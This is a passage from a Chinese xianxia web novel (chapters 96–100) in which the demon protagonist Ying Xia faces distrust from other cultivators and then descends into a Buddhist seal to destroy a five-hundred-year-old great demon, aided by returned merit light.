揭露自己魔的身份,可不是一件容易事,明明功德金光的遮掩天衣无缝,他可以一直伪装下去,应夏他一定是想了很多才做了这个决定。 算了,反正应夏不管是人还是魔,只要不违背自己的底线,他们永远是好友。 裴道远想明白后,便换了话题,不再纠结于此。等应夏想说了,到时候再作为知心好友聊聊。 南境。 还未至正午,太阳便十分毒辣,应夏与裴道远坐在一叶小舟上,有灵气加持到不觉得热。 应夏向下望着,一片茂密的绿色丛林,树木长得十分高大,里头栖息着不少虫鸟野兽,但都并未开智,构不成什么威胁。 这儿才是南境边缘地带,还未见到发狂的魔兽,但应夏却隐隐感觉不安。 裴道远似乎察觉到应夏的焦躁,问道:“怎么了?这儿可有什么不对劲?” 应夏摇头,神色凝重道:“我只觉得有些烦躁,一般来说,同类相斥,可我并没有察觉到有任何魔气的踪影。当然,也并非灵气一类。” 闻言,裴道远思索了一会儿,说:“算上穆槐序去的那一批,已经前后有十几批修仙者来南境了,可他们无一有回来的,甚至连传讯符都联系不上,或许是这南境有什么屏障。” 应夏立刻拿起玉佩想要感应温却沧,意识到什么,动作到一半便停下。 裴道远用了下传讯符,叹道:“真不能用,看来我们确实已经进入南境这个不知名的屏障中了,你感觉焦躁或许是因为这个也说不定。” 应夏嗯了一声,眼眸垂下有些怔怔地看着手上的玉佩,摩挲两下后放下。 “我们加快速度吧。” 二人便驱使着小舟,快速朝南境深处飞去。 行驶了约莫两个时辰,他们才远远看见一个金光闪闪的巨大法阵,高耸入云,像是把半个南境都笼罩其中。 ——那里便是南境佛门,此次召集各地修士所在。 “都说南境佛门有奇观,可这法阵一盖,什么都看不着,可惜可惜。”裴道远叹道。 “进去不就能看见了。”应夏不以为意。 裴道远道:“既然是奇观,远看和近看自然味道不同,更何况若是一座巨大的佛像金身,也得远看才能看得全。” 他又话锋一转,“不过我们只要解决了这个南境兽潮,也能看到。” 应夏双手抱臂,勾唇道:“你倒是很自信,这么多人过去了,靠我们真能解决这次危机?” “诶,应夏,你可别还没到地方就先灭自己威风,我说……” 裴道远又开始长篇大论起来,应夏没有阻止,随他发挥。 直到应夏看见在那金色阵法外,是一圈黑色的焦树,他立刻打断,道:“你快看,那阵法外怎么回事?” 他们走近,发现法阵外隔离了一圈大约半径几十米的黑色焦土地,像是被烈焰焚烧过一般,泥土焦黑,树木也被烧成了碳。 裴道远仔细观察后,说:“这不是普通的火焰,好像是三无真火?” “三无真火?”什么东西?应夏跳下小舟,脚踩在焦土上,伸手去触碰那棵焦树,还没等他碰到,那树便像是被风吹散,散落成尘土堆在脚边。 裴道远跟上来,解释道:“无色无味无形,叫做三无真火,它能烧尽天下所有东西,包括灵力。” 所以若是修士对上也不一定能讨到好。 “这三无真火只有玄火门才能使用,应该是他们针对兽潮留下的痕迹。” 应夏抬眼望向高高的金色法阵,上面的纹路变化万千,神色有些凝重道:“这可不是什么好消息。说明兽潮曾经进入过这个法阵,而且,说不定我们看到的法阵是已经收缩过的。” 裴道远睁大双眼,有些震惊:“什么?!” 他连忙回头看向身后的丛林,嘴里念叨着:“不应该啊,丛林里一点野兽踩踏的痕迹都没有,即便是过去了好几日,也不会恢复的这么快。” 应夏却说:“或许是我们小看了这兽潮,魔兽可是有神智的,或许它们还很聪明。” “你的意思是……伪装?”裴道远皱眉,“它们难道……” 还没等裴道远说完,二人周身空气突然停滞,危机骤现! 原本的焦土上又瞬间燃起火焰,那火焰无色无味也无形!是三无真火! “怎么回事?!”裴道远连忙跟着应夏一起飞起来,但那三无真火竟是跟着他们一起燃向空中,势要将二人吞没。 应夏一头冲向那金色法阵,道:“我们先进去!” “等等,法阵需要身份识别,不然我们就……”裴道远还没说完,便被应夏一把拉进了法阵,“我们怎么进来了?” “师父给了我令牌。”这令牌在他们靠近法阵时便发出微弱的震荡,只是应夏在查看焦树没有在意。 裴道远一直回头看着,见三无真火被阵法隔开,喘了口气,“真没想到,这火怎么会突然向我们发难?也没有人驱使……” 应夏却拽了一下裴道远,眼神示意他往前看。 裴道远转身后,被眼前的一幕震撼住了。 那是何等地狱般的景象。 第97章 第 97 章 “谁想听一个魔的狡辩?…… 残垣断壁, 满目疮痍。 数具死尸倒在这片焦土之中,身上依稀可辨出是某门派弟子。 裴道远被震惊到说不出话来。 应夏就近找了一具尸体,蹲下查看, 神色凝重道:“已经好几天了,身上有被撕咬的痕迹,伤口上有魔气残留, 应该是被魔兽杀死的。” 裴道远咽了口口水,艰涩地说:“我竟然……小看了这兽潮。” 应夏道:“小看兽潮的不止你一个, 可能所有来到南境的修仙者都是如此。” 伸手合上那具尸体死不瞑目的眼睛后,站起身,继续道,“而且魔兽杀死他们并非是充作食物, 而是纯粹的猎杀,这很不同。” “不同?” 应夏指了指尸体,说:“魔兽咬碎了他的经脉骨骼,却没有吃掉他的金丹。”这是一位金丹期弟子。 “没有吃金丹?!”裴道远也意识到事情的严重性, “那为什么他没有恢复, 按理说修仙者即便被砍手砍脚, 只要金丹还在,就能……” 说到这,裴道远想到了答案,着急向应夏求证:“是魔气?!” 应夏点点头给了他肯定的答案。 裴道远有些激动, 抓住了应夏的手臂:“那是不是驱除掉这些魔气, 就能想办法将他们复活?” 对此, 应夏却摇了摇头,叹了口气,道:“目前做不到。” “怎么会……”裴道远的目光一下子暗淡下去。 应夏拍了拍他的肩膀, 解释道:“要根除魔气需要杀掉魔气的来源,要杀了那些魔兽,我去同化它们的魔气,之后我便可以召回驱使这些魔气,他们也能借此恢复伤势。” 虽然那些可怖的伤势需要不少灵丹妙药,但各大门派应该不会吝惜。 裴道远仍是激动地握着应夏的手臂,说:“应夏,你果然是功德金光眷顾的人,不,魔!这件事天底下估计也只有你能做到。” 应夏却没有接下这个称赞,他道:“不对,还有其他魔,任何魔其实都可以做到。” “但他们不是你,不会站在我们这边。”裴道远神色坚定又信任,眼神里格外真挚。 应夏有些感触,笑了一下,拍拍他的手,说:“你不必紧张,我来南境就是为了解决兽潮,同化它们的魔气,对我来说也有好处。” 他刚刚查看过魔气,那里头的杂质太多,即便被他同化也对他用处不大,但他可以做到驱使这些魔气。 就当是还了功德金光的情吧。 应夏暗自想着。 裴道远放开手,整个人都放松了许多,说:“那我们接下来……” “去找佛门。”应夏道,“虽然这里死伤惨重,但是总归有活下来的人,他们一定会聚集在佛门处,毕竟佛门是魔兽最讨厌的地方。” 二人一齐抬头,远远望见了一座座被云朵遮掩的巨大佛像。 “都说南境佛门的佛像犹如真神,时刻发着金光。”裴道远握紧扇柄,忧心忡忡,“可如今见这佛像黯淡无光,恐怕佛门那儿也不好过。” 应夏却说:“黯淡无光可当做是用尽力量,但若是魔兽过去了,肯定会毁坏佛像。” 裴道远点点头:“确实如此,我们尽快赶过去吧。”- 在距离佛门十多里远的地方,应夏和裴道远二人被一群修仙者拦了下来。 十数人握着兵器,对来者十分警惕,其中修为高者大喝道:“来的是何人?可有接引牌?” 应夏拿出温却沧给的令牌,上头的刻印发出金光,便听那些人惊喜道:“是玄衍宗的人!” “且慢!”身着蓝袍的领头修士挡住打算上前迎接的弟子,振振有词道,“上一批的教训你还没吃够吗?都说魔会杀了人然后夺其令牌伪装后进来,为此我们死了多少人?!” “这……”激动的弟子脸色煞白,后退几步。 “啊,是你!应夏!”有剑宗弟子认出应夏,突然高兴呼喊道,“这位可是我们剑宗的大恩人,身上有功德金光,必不可能被魔伪装的!” 裴道远闻言,展开折扇,挡住半边脸,看向应夏。这场面对应夏可不利,他身上的功德金光已经…… 果然,蓝袍修士用灵力试探,激出了应夏身上几丝魔气,脸色瞬间严肃,喝道:“他是魔!快布阵!” 那名剑宗弟子傻眼:“怎么可能……” 裴道远瞬间挡在应夏身前,道:“这位想必是弗叶宗的大弟子陈密吧?我们确实是玄衍宗弟子,他身上的魔气来源有隐情,请容我们慢慢……” 陈密毫不客气地打断道:“谁想听一个魔的狡辩?去死吧!”说着,便提剑砍来。 凌厉的剑气扑面而来,裴道远才刚抬手,应夏已经打出一掌,猛烈的魔气瞬间吞噬掉陈密的剑气,连带着他的剑都颤抖万分,陈密一个转身卸力退回人群中。 “如此纯粹的魔气,比那些魔兽还要厉害,还说不是魔?!”陈密招呼着众人布下阵法。 其中的剑宗弟子仍是犹豫,还咬牙劝道:“陈师兄,我看还是听他们说说吧,我看旁边那位身上并没有魔气,想来应该是有什么隐情,或许是有了什么遭遇,或许……或许是为了骗过魔的伪装也说不定!” “若是真是伪装,为了见了自己人还要装魔?”陈密一把将人推开,道:“你不想帮忙便走开,别碍事!” 剑宗弟子不想对自己的恩人动手,考虑再三,还是后退几步,道:“对不住了,宗主有令,不可对本宗恩人动手,还需礼遇,我实在是……唉,若是对面之人真是魔假扮,事后我定会负荆请罪!” 对于他的说辞,陈密仅置于一声冷哼。 应夏其实考虑过这里的修仙者面对魔的他会如何,届时该如何解释,但现在他并不想解释,不如先打服了再解释,可能更有说服力。 手腕一转,一柄红刃骨刀出现在手中。 裴道远见状,叹了口气,看来是不得不先打一架了。还得注意不要真的伤到人,真难。 就在两方剑拔弩张,即将兵刃相向之时,一声沉重有力的“阿弥陀佛”从远处传来,随之而来的是一道沉闷的钟声,这声音直接震开了两边的人。 应夏被气劲逼得后退两步,裴道远借着应夏的力化解。 另一边则是被震得后退好几步。 有人认识这声音,惊讶道:“是善法大师!” “阿弥陀佛,各位施主请住手。”来人是一个身着红色袈裟的和尚,面容和善,手上拿着一根金色禅杖,刚才便是这根禅杖发出的威力,想来是一个法器。 陈密见状,给善法大师面子收起剑,但言语中还是对应夏他们恶语相向。 善法闻言又念一句佛偈,道:“这位施主的确是天生魔。” 众人皆惊,“天生魔?”“不可能吧?”“可他是玄衍宗弟子……” 站在后面的剑宗弟子更是看着应夏神色复杂,一时不知该如何是好。 “连善法大师都说了他是魔,还有何可狡辩的!”陈密笑起来,认为善法大师是站在他这边的。 却没料到善法话锋一转,道:“这位应夏施主并非恶人,他的身上从未有无辜杀戮的气息,相反,他身上应有大功德。” 剑宗弟子闻言突然又振奋起来。 陈密拧眉疑惑:“大师,他是天生魔,怎么会有大功德,是不是……弄错了?” 善法大师和善的笑了笑,解释道:“陈施主,天生魔和天生灵一样,都是天地间应运而生的,并不分什么好坏。” “老衲数十年前曾捡到收养过一个天生魔,那时他还是孩童模样,之后便成为老衲膝下弟子,法号善心。” 此言一出,众人哗然。 应夏挑眉,没想到这和尚竟是善心善禅的师父。 陈密不可思议道:“天生魔,也能修佛?” “阿弥陀佛,万物有灵,善恶仅在一念之间。”善法大师叹道,“天生魔降生如一张白纸,只需正确引导便不会向恶。” 这时候,那名剑宗弟子也道:“我曾见到应夏身上有功德金光,就算他是天生魔,可他从未做过坏事,还做了很多好事,连功德金光都认可。” 陈密抓住机会道:“你说他有功德金光,那就展示出来看看,若真是如此,我便向他赔罪。” 众人又将目光集中到应夏身上。 裴道远暗叹一声糟糕。 应夏却并没有感到压力,无所谓地实话实说,“现在的我身上已没有功德金光。” “便假设你之前有,但如今又说没了……呵,怕不是做了什么恶事,散尽了吧?”陈密冷笑道。 应夏握紧红刃骨刀,反击道:“所谓的正道大弟子就这?没有证据便诋毁别人,素质也不怎么样嘛。” 陈密瞪大眼睛,气愤道:“你!” 善法大师站出来劝和,道:“功德金光总是外力赋予,终有一日会用尽,想必应施主是用在合适的地方了。” 大师那双眼睛似乎能看穿一切,他说:“应施主,你的身上有老衲徒儿善禅的一句佛偈祝福。” 应夏点点头:“是前些日子在西宁边城遇见了你徒弟,善禅还有善心。” 顿了顿又补充了一句,“他们都死了。” 裴道远一噎,这句似乎可以不说。 第98章 第 98 章 “我要进入这封印之中。…… 不过就算应夏不说, 善法大师想必也已经知道自己的两个徒儿殒命了。 应夏又道:“他们一起灭了西宁边城的魔窟。” 简简单单的一句话勾起了在场众人的惊讶与好奇,但他并不打算详说。 善法大师闭了闭眼,念了几句佛经, 睁开眼,伸出手,手心里出现了应夏眼熟的金色莲花。 这时候, 应夏身上也溢出几丝淡淡的金色,在阳光照耀下几乎肉眼看不清, 金色极为黯淡,被收拢在金色莲花之上,颜色才逐渐明显起来。 是一道残影。 应夏眯起眼,他竟是没有察觉, 难道是佛门秘法? 残影开口:“师父,徒儿无能,只能以此法来见师父。请师父不要为难应夏施主,他与徒儿一起消灭魔窟实为大功德……” 而后简单叙述了西宁边城发生的事情。 “……魔窟已成, 若不根除, 恐有后起之势, 徒儿无能只能出此下策。” 听到这,众人心里都不由得想起一句——我不入地狱谁入地狱。 残影讲述完毕后,便化作金光点点散尽。 善法大师将金色尘埃养在莲花里,收起后, 对应夏施了一礼, 道:“多谢施主带回老衲徒儿的残影。” 话音刚落, 一道金光从天穹降下将应夏笼罩其中。 “这、这是……” “功德金光!是功德金光!” 剑宗弟子大喊道,他就知道他们剑宗不会看错人! 那道金光来得快,去的也快, 当事人应夏身上却并没有任何残留的功德之力。 众人都有些奇怪,不认识应夏的认为因为是魔,所以无法使用功德金光。但剑宗弟子知道,应夏是可以使用的,所以他极为震惊,怎么这次功德金光…… 应夏想了想,还是为自己解释了一句:“我将功德金光送人了,可能去他那儿了。” “哈?” 先不说功德金光能不能送人,单就把功德金光送人这几个字拎出来看,都觉得不可思议。 可见善法大师了然的样子,应夏并没有说谎。 这、这是什么大圣人?竟然还将功德金光送人的?! 剑宗弟子红着脸道:“对不起应夏,刚刚是我浅薄了,没想到你竟是如此……如此……善良!”不知道该怎么描述,只支支吾吾说出了这个词语。 陈密脸色难看,却觉得这魔满嘴谎话,怎么可能会有人将功德金光送人?恐怕只是为了博好感所以想出的说辞吧!真是可笑! 其他人也半信半疑。 裴道远见众人反应,感叹道,是吧,就说会很惊讶,而且他送的人还是小师叔……唔,也就只有小师叔能接下吧。 “施主果然如老衲徒儿所言,是个热心肠的魔。”善法和蔼地笑了笑。 因有着善法大师的解围,应夏和裴道远顺利进入了佛门。 路途中他们也了解了目前南境的一些情况。 原来之前他们看到的大阵已是收缩过几波了,原来阵法是笼罩整个南境,后来因为魔兽太强,毁坏了不少阵法点,无奈只能集中阵法,所以逐渐变成今天这副光景。 然而仅仅只是如此倒还好,可魔兽群里不知怎么,突然出现了不少可以伪装成人的魔兽,佛门及高阶修士都无法看破,而且魔兽伪装可以装的和原主一模一样,就连性格行为也是完全复制,不知道是如何做到的。 有人猜测,魔兽估计是用了搜魂,得到了身体的记忆,便容易伪装了。 在应夏他们来之前,已经迎接过一波魔兽伪装的修士,没有看破导致这一边损失了不少人。 “阿弥陀佛,被魔屠戮之人无法复活,这是令大家格外痛心之事。”善法大师感叹道。 裴道远看了眼应夏,没有将应夏可以吸走魔气一事说出来。 应夏却自己说了,语气十分随意:“我可以同化那些魔气,到时候你们就可以派人去一一复活了。” “真的?!”有几人明显激动起来。 陈密冷脸道:“你可别说大话,到时候做不到,可会害得大家都空欢喜一场!” 善法大师念了一句佛偈,看着应夏说:“施主,你此言可当真?若过于勉强,还是不必……” 应夏说:“我这次来便是为了解决南境之灾,会尽我所能,此事在我能力范围,自然不会勉强。” “好!”善法大师也不由得高兴起来,“届时你需要什么东西,都可以跟老衲说。” 应夏点点头,没有继续说了。 只不过这一行人的氛围一下子就变了,不再像之前那样死气沉沉。 裴道远突然明白了什么,也笑了。 大家或许因为伤了后无法救治,死了后也无法用秘宝复活而烦恼,与魔兽战斗时说不定会畏首畏尾。应夏将他可以吸收魔气一事说出,便解决了这个后顾之忧。 实在是大涨士气! 二人安顿好后,应夏前去找善法大师,却没想到遇上了讨厌的陈密。 陈密似乎刚和善法大师说完话,出来时迎面对上应夏,他皱眉睨了眼便离开了。 善法大师见应夏前来,并不意外,问:“房间可还满意?” 应夏却反问:“如今南境焦灼,大师怎还有心情关心这些?” 善法大师叹了口气,道:“应施主不是为了呛老衲才来的吧。” “我想知道南境出现魔兽暴动的原因。”应夏开门见山说明来意。 “施主果然一针见血,阿弥陀佛。”善法大师双手合十,继续道,“施主可能感应到佛门里面有魔?” 闻言,应夏睁大眼睛,一脸意外:“佛门中有魔?” “不是施主,而是五百年前封印在这佛门下的一个大魔。” 应夏见善法准备长篇大论讲述五百年前的故事,他没耐心地打断道:“可以说重点吗?” 善法大师笑了笑,似乎早已遇见如此结果,便点头道:“南境如今出现的困境,皆是由这个大魔引起。” “封印松动了?”毕竟都五百年了 “并无。”善法大师解释道,“即便有松动,佛门都会一一加固,绝无让此魔再度现世为祸苍生。” 他又话锋一转,“但那大魔突破了,突破之后的力量与五百年前相比更胜一筹,近百年来,他曾多次想要从封印之中出来,但在佛门上下万众一心的压制下,并没有成功。不过南境的魔气或许因为这大魔,变得越来越多,许多普通妖兽都被转化成了魔兽。” 应夏双手抱胸,思索着什么。 善法念了一句佛偈,继续说:“近段时间,魔气暴涨,魔兽的骚动也愈演愈烈,这才不得已向修仙界众门派广发召集帖,请求援助。” “既然佛门都自顾不暇了,怎么还派人去西宁边城?”应夏看着善法的眼睛,想看穿面前这个和尚。 善法解释道:“一则,善心是天生魔,老衲恐其被这大魔影响,所以派遣他离开南境,而且越远越好。二是因西宁边城的魔窟形成,似乎与这大魔突破时间差不多,便想让徒儿去西宁探查一二,看看是否有解决之法。” 说到这顿了顿,应夏意有所察,惊讶道:“真有关联?” 善法点点头:“虽不知为何,但几月前能明显感觉到这大魔的实力有所减弱。所以他才等不及了,那些伪装的魔兽也是近段时间才开始的。” “他想要尽快冲破封印。” 应夏垂眸思索着,在善法讲完近期发生的一些事之后,他才缓缓道:“可否让我去看看封印那大魔的地方?” 善法闻言一愣,念了一句阿弥陀佛。 还没等他开口,应夏便又继续说:“我知道有人会顾虑我是不是想帮助大魔,从外部解开封印。善法大师,你可以将我也一起封印进着佛门的阵法之中。” 善法大师从未听过如此提议,甚至是一个魔自己提出来的要让别人封印他。 “这……” 应夏挑了下眉:“你是担心我进入封印后和那大魔同流合污,一起冲破封印?” 善法赶紧摇头道:“并不是,佛门封印特殊,而且正是针对魔,即便施主真的进去了,也很难出来。” “你是怕我到时候出不来?”应夏笑了几声,“这不正合你们心意?” 善法想解释,应夏却摆手道:“不必多说了,就给我一句话,我要进入这封印之中,行不行?” “施主,此举牵扯甚多,请容老衲考虑几天……” 应夏打断道:“如此危机关头,哪有那么多时间考虑,就一天,明日我再来找你。” 说完他也不听善法大师如何回答,转身便离开了。 时间紧迫,因为应夏感觉到离体的功德金光并不安生待在门派中,而这方向分明就是南境。 温却沧带着功德金光出来找他了。 三天,三天后他就能赶到南境。 第99章 第 99 章 “不对,你根本不是魔!…… 裴道远得知这事, 立马跑来找应夏。 “你、你怎么想到封印大阵底下去的呢?”裴道远扇子都没拿上,急得话都不利索。 应夏见状,将一杯灵茶递到他手里, 让他坐下缓缓,等他顺下一口气,才说:“我一来到南境就察觉不对劲。果然是有大魔在这里, 那些魔兽确实也是为了那大魔而来。” 裴道远立刻接道:“那便杀了那魔。” “对。”应夏话锋一转,“但是你认为佛门如果能杀了那大魔, 这么多年来会不杀吗?他们杀不死大魔,所以才用大阵将他封死在这里。” 裴道远了悟,仍是担心道:“你是要下去杀他的,可是, 可是你也是魔……那封印可能也会限制你的力量,大魔在封印底下都几百年了,他早习惯并熟知封印底下的情况,可你一无所知, 到时候下去了直接自投罗网, 把你给……这怎么办?” 应夏颇有自信地笑了下, 少年脸上是意气风发:“我和你说过,魔与魔之间亦有不同,我和那大魔未必是他更占上风。” “不是我泼冷水,应夏。”裴道远放下茶盏, 表情严肃道, “你才修炼多少年, 那大魔可是五百年前被封印,佛门众人齐心协力压制,而且他在封印底下呢, 还能操控那些魔兽异动,说明他不简单,实力不可小觑!” “你这样贸然下去,恐怕是凶多吉少!我看这事还得再仔细斟酌一番。” 裴道远想站起来,又被应夏按下。 应夏收敛起那股子冲劲,神情认真,道:“这些我都知道,我要下去这个决定并不是一拍脑袋就想出来的,我知道只有我能做。” 大阵的封印不可打开,没有修士知道封印下的情况,更不可能去封印底下,那才是真正自投罗网。但是应夏不一样,应夏是魔,他可以完美伪装。 “我又不会一下去就找那大魔拼命,伪装成被抓到的魔扔进封印里,等我摸清那大魔的底细再动手。” 裴道远仍是摇头,“且不说大魔会不会起疑,会不会等你摸清他底细,你动手要怎么动?你有什么办法杀了那大魔?” 应夏早就想好了办法:“吞噬。” “吞噬?” 说不如做来的理解快,应夏便现场演示了一番魔气如何吞噬净化另一股魔气的过程。 裴道远吸了口凉气,说:“可你不能保证一定是你吞噬他,万一是他吞噬你呢?” 应夏笑了下,道:“我是天生魔,他再强也不可能反过来吞噬我。”当然,这话半真半假,吞噬不可能,但要杀了他还是可以的。 裴道远还是不放心,“我不懂魔,除了这个,还有其他后手吗?” 应夏想了想,道:“你还记得我的功德金光么?” “记得,你说你送给小师叔了。”裴道远说完这话,眼睛一亮,“难道,你……” 应夏勾唇笑道:“就是这个难道,其实也是巧了,我本意倒不是这个,但是确实如今赶巧可用上。” “我能感知到师父他已经在赶往南境的路上,不出三天便能到。”应夏继续说,“剥离了功德金光的我可以全然伪装成魔进入封印,摸清底细,找机会吞噬他。如果这招不行,那么等师父他赶到南境,可以将功德金光归还于我,到时候这功德金光也能杀死那大魔。” 功德金光天生便克制魔物。 裴道远一拍桌子,有些兴奋:“好!没想到你竟然还有这招!”虽然这么说,他还是担心自己的好友出意外,但如果是有小师叔坐镇,便放心了。 小师叔绝对不会看着应夏出事的。 裴道远不是相信应夏的计划,而是相信温却沧。 应夏知道这点,看破并不说破,好歹是把人劝住,不阻拦他下封印了- 下封印大阵那日,也是温却沧赶到佛门的前一日。 善法大师不知多少次地向应夏确认:“施主,你……” 应夏站在佛堂中央,宽敞的大殿里只有他们二人,他打断大师的话,说:“大师,你既然已经同意,便不用多问了,再问多少遍我还是那个答案,我确定要下去。” “既然施主意已决,老衲便不在多言。” 说完,善法大师便将手中禅杖一横,念起法咒,脚底衍生出一道一道金光,地面上显露出无数佛印,交叠繁复,有新有旧。 佛殿外是数名佛门弟子跟着善法大师一起念法咒,其声响彻整个佛门,恢宏庄严。 应夏没有反抗,任凭佛印从脚底盘旋而上,金色的咒文将他整个人都包裹起来,一点一点陷入脚底的法阵之中。 大魔对封印大阵关切甚密,一有动作便产生异动,应夏能感觉到整座佛殿晃动,底下的魔气骤然拔升浓度,佛印咒法的金色光芒更加耀眼,与魔气对抗。 善法大师见状,禅杖敲击地面,一圈一圈的金色气流散溢,整个佛门的人齐声念的法咒也统一换了别的,应夏听不懂,只能感觉到身上的佛印越来越烫,像是要勒进他的血肉里。 应夏出声道:“大师,快将我送下去,此刻正是好时机!” 话音刚落,善法大师将禅道一头像他敲来,“嘭——”一声响,并没有真碰到他,只是打在了他头顶,显出一圈印文,而后金光笼罩,将他整个人生生压入地下。 进入封印下后,应夏便能感觉到一股强大的魔气,正来势汹汹地像他袭来,势要将他撕裂。 他立刻化成一股原始魔气,直接迎面吞噬。 一时间魔气肆虐翻涌,两股强大的魔气互相缠斗撕扯。好在对方不是天生魔,并不能吞噬应夏的魔气,反而是被应夏所吞噬为己所用。 大魔停止缠斗,退离好几米远,应夏也不追,见他显出一个人形轮廓来,发出声音:“天生魔,没想到这世间还有天生魔,你怎么会进来?” 应夏警惕道:“关你什么事?你也是被那群臭和尚关在这里的魔?” 大魔见状,似是明白了什么,他说:“没想到那群和尚还是如此没用,五百年了,还是吃老本靠着这个封印大阵。也是,天生魔比一般魔难杀死,便扔下来与我作伴了。” “五百年?你究竟是谁?”应夏佯装不解。 大魔哈哈大笑了几声,道:“不用管我是谁,一个注定要化成我力量一部分的天生魔,没必要知道这么多。” 说完,比之前更强大的魔气涌现,是刚才展露的好几十倍。 “不是天生魔还妄想吞噬我?”应夏冷笑。 大魔嗤笑道:“不过是新生的天生魔,胆子倒挺大,也对,五百年前你还没出生呢,那我就好心好意告诉你。我能有如今的力量,便是五百年前吞噬了一个天生魔所致。就连佛门都杀不死我,只能将我封印。” “胡说!普通魔怎能吞噬天生魔?!” “哈哈哈,怎么不能?”大魔反问,猖狂地笑起来,“既然你不信,那我便吞噬了你,等进到我的肚子里,你就知道是不是真的了!” 应夏震惊不已,但大魔的攻击已经来了。 两股魔气缠斗许久,应夏不慎真被他咬下一股,见自己的力量真的被吞噬,才大惊道:“不对,你根本不是魔!” 大魔笑道:“我怎么不是魔了?” “你原本是人!”应夏感受着自己被消化的魔气,笃定道。 大魔似乎很意外他能察觉到这点,但并没有停止攻击,“没错,我原本是人。灵气魔气原本都是天地间的一股力量,人都能炼化为己用。仙道魔道,左不过是修炼的道不同。可是人炼化总有极限,有一日我突然顿悟,这人类的身体太不好用,何不舍弃,与魔气融为一体?这么想着,我便做了,还真成功了。” “不可能!人一旦与魔气融合,便不可能保持理智,一定会被魔气影响成为只知杀戮的怪物。”应夏费力抵挡着攻势。 “你说的没错,所以就连老天都站在我这边,让我在失去理智之前遇到了一个天生魔。”大魔大笑着,“他刚刚诞生,太年轻了又干净得诱人,便被我吞噬炼化,那之后我便能保持理智,且修为突破很快。你们天生魔可谓是大补之物,五百年了,居然让我又碰到一个。哈哈哈哈!天道果然是偏爱于我,竟是将一个天生魔送到了我面前,等我吃了你,便可再次突破,这法阵也不会再能困住我!” 应夏怒道:“你做梦!” 但大魔的力量明显强于应夏,很快,应夏的魔气便尽数被他吞噬炼化。 而当大魔完全吞噬应夏之时,一道金红色的光芒从大魔的体内炸出——是红刃骨刀,上面有应夏刻意藏着的几缕功德金光。 应夏假装被吞噬,便是为了将这红刃骨刀送入大魔体内,功德金光的数量很少,必须从内部破坏才更有效果。 “你一个魔,还是天生的魔,怎会有功德金光?!”大魔震惊又愤怒道。 “是天道给我的,哈哈,没想到吧,你口中的天道更偏爱我!”应夏奋力将功德金光利用到极致,但他假意被吞噬,受伤也极为严重,若是化成人形怕是半截身体都没了。 原形的魔气也只剩下小小一团裹着金光,在大魔的体内横冲直撞,势要将他撕裂扯碎。 大魔怒极反笑:“小子竟敢小看我!我既然能炼化你,难道还不能炼化这功德金光么?!” 怎么可能?!应夏心中一惊。 【全文完结】 第100章 第 100 章 全文完。…… 大魔的魔气困住应夏, 竟是真要硬生生将他连同功德金光一齐炼化似的。 若非有功德金光撑着,应夏恐怕早就被炼化了。 但是他想要炼化功德金光,并不容易。不过留下的功德金光太少, 即便不能炼化,应夏想要继续撑下去也很难,他必须要快点想破局之法。 应夏立刻拼命往封印阵法上冲, 引来封印大阵的压制,减缓了大魔的吞噬进程。 大魔见状, 只觉他这是临死挣扎,笑道:“没用的小子,你这么做不过只是早死晚死的问题,最终还是要化为我的力量, 不如乖乖投降,说不定我还能给你留点活路。” 突然,应夏身上的功德金光爆发出巨大的能量,与封印法阵相冲, 引至大阵的反噬, 魔气竟是反而被封印大阵销蚀。 “你想做什么?!”大魔意识到不对劲, 立刻想要离开,但应夏在他体内往法阵上冲,并不能即时离开。 应夏回答道:“早死晚死都是死,那我也能拖着你一起死!” “你不要命了!放开我, 我们同是魔, 怎么能让他们这帮道貌岸然的修仙者渔翁得利!”大魔虽然嘴上这么说的, 但实际上正全力炼化应夏与功德金光,想要在他动作之前将他杀死。 应夏不管不顾,加快进程, 想要用功德金光作为引爆点,借力封印大阵,将这大魔杀死在这里。他知道,一旦这大魔不死,后患无穷,说不定真能让他炼化功德金光,到时候没有人能阻止他了! 同归于尽,是唯一的办法了。 引爆的那一刻,像是死前走马灯,时间在那一瞬停滞。 应夏想起了温却沧,他想自己死了他一定会很伤心,还好自己走前将心留给他,应该是有所安慰的。 金光大涨,不知是功德金光还是封印大阵的佛光,应夏的眼前一片白茫茫。 他应该是要死了。 过了几息,应夏觉得奇怪,他怎么还没死?甚至觉得整个魔暖洋洋的,好像要长出手脚。 不对,这金光……是功德金光!这么多! 应夏反应过来,这是他原本剥离的功德金光!是温却沧,他来了! 没错,这事还要归功于裴道远,他实在是觉得应夏的决定有风险,但眼看也劝不住人,决定尽快将这事告知给小师叔,让他做决断。 裴道远便传音告诉小师叔,温却沧得知后,立刻加快速度赶至南境。 就在应夏进入封印大阵的一炷香时间后,温却沧便来到了佛门。 可他一踏进佛门,便感觉到整个封印大阵的动荡,便知不好,此时,应夏正带着大魔冲向封印。 佛殿外密密麻麻围绕着佛门弟子,整齐的念着法咒佛经,助力封印大阵压制魔气。 善法大师感应到了温却沧,只一对视便知他要做什么,点了点头,让开了几个身位,好让他动作。 温却沧便将盒子打开,拿出那颗被无数金线缠绕的心脏,将它按在了大阵中心。 以此补充作为封印大阵的阵心,无数的灵气被大阵卷入,漫天的功德金光爆发出巨大的能量,汹涌地灌入封印之下。 在如此之多的功德金光下,即便是大魔也难以抵抗。 “怎么会有如此多的功德金光?!”即便他能吞噬都来不及,大魔震惊道。 应夏反应过来后,借助功德金光,反向将大魔吞噬,即便他再如何挣扎,也抵抗不住巨量的金光灌入,限制了他的行动,只能眼睁睁地看着自己的魔气被一点点吞噬殆尽。 大魔不甘心,五百年了,他被困在这个封印下五百年,筹谋许久,怎么能落到个如此下场? 他愤恨大喊道:“都是因为你小子!好,既然要死,那便一起死!” 说完大魔便自爆了。 混沌的魔气与金光炸开,整个南境都为之动荡。 正冲击佛门的魔兽们顺便歪倒一片,全部失去了生机。与之抵抗的修士们也因引发的气劲昏死过去,尤其是围着佛殿的佛门弟子们,受伤最为严重,全都七窍流血躺倒在地上。 阵法中心的善法大师跪倒在地面上,生死不知。 温却沧顾不上自己,他全力护住了应夏的人心,见人心没事才松了口气,剧痛从内脏发出,呕了一滩血。 原本灵气或魔气都十分充裕的南境,因此变成了一片凡境,估计得花上好几百年才能慢慢恢复。 大魔消失了,封印大阵也随之消失。 应夏因功德金光灌注重新化成人形,他从封印下出来时,看到的便是一片狼藉。 佛殿已是残垣断壁,善法大师倒在地上没有声息。 应夏快步走向温却沧,颤抖的手摸向他,感知到了微弱的呼吸,才松了口气。 可抬眼看到四周一大片死去的佛门弟子,心惊不已。 他甚至能看到远处与魔兽们死在一块的各门派修士们,倒在血泊中,一点生机也无。 